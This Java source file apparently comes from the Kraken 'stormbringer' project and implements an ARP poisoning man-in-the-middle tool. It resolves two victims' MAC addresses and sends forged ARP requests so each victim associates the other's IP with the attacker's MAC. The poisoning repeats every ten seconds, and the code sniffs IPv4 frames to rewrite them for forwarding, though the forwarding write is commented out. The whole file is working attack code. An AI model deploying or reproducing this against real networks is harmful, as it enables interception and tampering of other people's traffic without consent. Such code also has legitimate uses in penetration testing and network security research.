/* * Copyright 2010 NCHOVY * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.krakenapps.stormbringer.impl; import java.io.IOException; import java.net.InetAddress; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import java.util.concurrent.ConcurrentHashMap; import org.apache.felix.ipojo.annotations.Component; import org.apache.felix.ipojo.annotations.Invalidate; import org.apache.felix.ipojo.annotations.Provides; import org.apache.felix.ipojo.annotations.Validate; import org.krakenapps.pcap.decoder.arp.ArpPacket; import org.krakenapps.pcap.decoder.arp.ArpProcessor; import org.krakenapps.pcap.decoder.ethernet.EthernetFrame; import org.krakenapps.pcap.decoder.ethernet.EthernetHeader; import org.krakenapps.pcap.decoder.ethernet.EthernetProcessor; import org.krakenapps.pcap.decoder.ethernet.EthernetType; import org.krakenapps.pcap.decoder.ethernet.MacAddress; import org.krakenapps.pcap.live.AddressBinding; import org.krakenapps.pcap.live.PcapDevice; import org.krakenapps.pcap.live.PcapDeviceManager; import org.krakenapps.pcap.live.PcapDeviceMetadata; import org.krakenapps.pcap.util.Arping; import org.krakenapps.pcap.util.Buffer; import org.krakenapps.pcap.util.IpConverter; import org.krakenapps.pcap.util.PcapLiveRunner; import org.krakenapps.stormbringer.ArpPoisoner; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @Component(name = "arp-poisoner") @Provides public class ArpPoisonerImpl implements ArpPoisoner { private final Logger logger = LoggerFactory.getLogger(ArpPoisonerImpl.class.getName()); private Set<MitmTarget> targets; private Map<InetAddress, MacAddress> hosts; private List<PcapDevice> devices; private List<PcapDeviceRunner> runners; private Thread t; private volatile boolean stopSignal; private InetAddress gateway; public ArpPoisonerImpl() { targets = Collections.synchronizedSet(new HashSet<MitmTarget>()); hosts = new ConcurrentHashMap<InetAddress, MacAddress>(); devices = Collections.synchronizedList(new ArrayList<PcapDevice>()); runners = Collections.synchronizedList(new ArrayList<PcapDeviceRunner>()); } @Validate public void start() { t = new Thread(this, "ARP Poisoner"); t.start(); } @Invalidate @Override public void stop() { stopSignal = true; t.interrupt(); for (PcapDeviceRunner runner : runners) runner.stop(); } @Override public void addAdapter(PcapDevice device) { PcapDeviceRunner runner = new PcapDeviceRunner(device); devices.add(device); runners.add(runner); Thread t = new Thread(runner, "ARP Poisoner's grabber"); t.start(); } @Override public void removeAdapter(PcapDevice device) { devices.remove(device); } @Override public void addTarget(InetAddress peer1, InetAddress peer2) { MacAddress mac1 = null; MacAddress mac2 = null; for (PcapDeviceMetadata metadata : PcapDeviceManager.getDeviceMetadataList()) { try { mac1 = Arping.query(metadata.getName(), peer1, 1000); mac2 = Arping.query(metadata.getName(), peer2, 1000); } catch (IOException e) { } if (mac1 != null && mac2 != null) break; } logger.info("victim1 ip: " + peer1 + ", mac: " + mac1); logger.info("victim2 ip: " + peer2 + ", mac: " + mac2); hosts.put(peer1, mac1); hosts.put(peer2, mac2); // poison attack sendMalformedRequest(peer1, peer2); targets.add(new MitmTarget(peer1, peer2)); } @Override public void removeTarget(InetAddress peer1, InetAddress peer2) { } private void sendMalformedRequest(InetAddress peer1, InetAddress peer2) { MacAddress mac1 = hosts.get(peer1); MacAddress mac2 = hosts.get(peer2); for (PcapDevice device : devices) { MacAddress senderMac = device.getMetadata().getMacAddress(); sendArpRequest(device, senderMac, peer2, mac1, peer1); sendArpRequest(device, senderMac, peer1, mac2, peer2); } } private void sendArpRequest(PcapDevice device, MacAddress senderMac, InetAddress senderIp, MacAddress targetMac, InetAddress targetIp) { ArpPacket p = ArpPacket.createRequest(senderMac, senderIp, targetMac, targetIp); EthernetHeader ethernetHeader = new EthernetHeader(senderMac, targetMac, EthernetType.ARP); EthernetFrame frame = new EthernetFrame(ethernetHeader, p.getBuffer()); try { logger.debug("SEND==> " + p); device.write(frame.getBuffer()); } catch (IOException e) { e.printStackTrace(); } } @Override public void run() { while (!stopSignal) { try { logger.debug("=========GO"); attack(); Thread.sleep(10 * 1000); } catch (Exception e) { e.printStackTrace(); } } } public void attack() { Map<InetAddress, MacAddress> hosts = getArpCache(); for (PcapDevice device : devices) { for (MitmTarget target : targets) { MacAddress mac1 = hosts.get(target.peer1); MacAddress mac2 = hosts.get(target.peer2); try { attack(device, mac1, target.peer1, mac2, target.peer2); } catch (IOException e) { e.printStackTrace(); } } } } private void attack(PcapDevice device, MacAddress mac1, InetAddress peer1, MacAddress mac2, InetAddress peer2) throws IOException { sendArpRequest(device, device.getMetadata().getMacAddress(), peer2, mac1, peer1); sendArpRequest(device, device.getMetadata().getMacAddress(), peer1, mac2, peer2); } @Override public Map<InetAddress, MacAddress> getArpCache() { return new HashMap<InetAddress, MacAddress>(hosts); } @Override public void setGateway(InetAddress ip) { gateway = ip; } private class PcapDeviceRunner implements Runnable, EthernetProcessor, ArpProcessor { private Thread t; private PcapDevice device; private PcapLiveRunner runner; private MacAddress deviceMac; public PcapDeviceRunner(PcapDevice device) { this.device = device; this.deviceMac = device.getMetadata().getMacAddress(); } @Override public void run() { t = Thread.currentThread(); runner = new PcapLiveRunner(device); runner.getEthernetDecoder().register(EthernetType.IPV4, this); runner.getArpDecoder().register(this); runner.run(); } public void stop() { runner.stop(); t.interrupt(); } @Override public void process(EthernetFrame frame) { Buffer buf = frame.getData(); byte[] b = new byte[12]; buf.gets(b); IpConverter.toInetAddress(buf.getInt()); InetAddress dst = IpConverter.toInetAddress(buf.getInt()); if (!frame.getSource().equals(deviceMac)) { MacAddress dstMac = hosts.get(dst); if (isForward(dstMac, dst)) { MacAddress newSource = device.getMetadata().getMacAddress(); MacAddress newDestination = hosts.get(dst); if (newDestination == null) newDestination = hosts.get(gateway); if (newDestination != null) { frame.getData().rewind(); EthernetFrame newFrame = new EthernetFrame(newSource, newDestination, frame.getType(), frame.getData()); // try { // device.write(newFrame.getBuffer()); // logger.debug("$ROUTE packet: " + frame + " to " + newFrame); // } catch (IOException e) { // e.printStackTrace(); // } } else { logger.error("destination mac not found"); } } } buf.rewind(); } private boolean isForward(MacAddress dstMac, InetAddress dstIp) { for (AddressBinding binding : device.getMetadata().getBindings()) if (binding.getAddress().equals(dstIp)) return false; return (dstMac == null || !dstMac.equals(deviceMac)); } @Override public void process(ArpPacket p) { logger.debug("|ARP =====> " + p); logger.debug("|Sender: " + p.getSenderIp() + " " + p.getSenderMac() + " Target: " + p.getTargetIp() + " " + p.getTargetMac()); } } static class MitmTarget { InetAddress peer1; InetAddress peer2; public MitmTarget(InetAddress peer1, InetAddress peer2) { this.peer1 = peer1; this.peer2 = peer2; } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + ((peer1 == null) ? 0 : peer1.hashCode()); result = prime * result + ((peer2 == null) ? 0 : peer2.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (getClass() != obj.getClass()) return false; MitmTarget other = (MitmTarget) obj; if (peer1 == null) { if (other.peer1 != null) return false; } else if (!peer1.equals(other.peer1)) return false; if (peer2 == null) { if (other.peer2 != null) return false; } else if (!peer2.equals(other.peer2)) return false; return true; } } }